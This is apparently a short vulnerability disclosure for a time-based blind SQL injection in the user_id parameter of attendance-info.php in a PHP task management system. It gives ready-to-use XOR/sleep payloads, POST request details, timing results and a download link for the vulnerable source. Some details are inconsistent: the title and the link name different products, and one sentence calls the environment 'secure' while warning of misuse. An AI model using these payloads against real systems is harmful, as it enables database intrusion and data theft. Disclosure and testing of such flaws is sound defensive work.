

SQL injection vulnerability exists in user_id parameter of attendance-info.php file of php task management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows the 'Request' tab in the browser's developer tools. The request is a POST to `/taskmatic/attendance-info.php?logout=logout`. The payload is `add_punch_in=&user_id=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z`. The 'Response' tab shows a 302 Found status. The 'Inspector' tab shows the selected text `sleep(4)` and the decoded text `sleep(4)`. The status bar at the bottom indicates a sleep time of 4,004 milliseconds.

Sleep time is 12s:

The screenshot shows the 'Request' tab in the browser's developer tools. The request is a POST to `/taskmatic/attendance-info.php?logout=logout`. The payload is `add_punch_in=&user_id=0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z`. The 'Response' tab shows a 302 Found status. The 'Inspector' tab shows the selected text `sleep(12)` and the decoded text `sleep(12)`. The status bar at the bottom indicates a sleep time of 12,008 milliseconds.

Payload: `user_id=0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z`

Source Download:

<https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>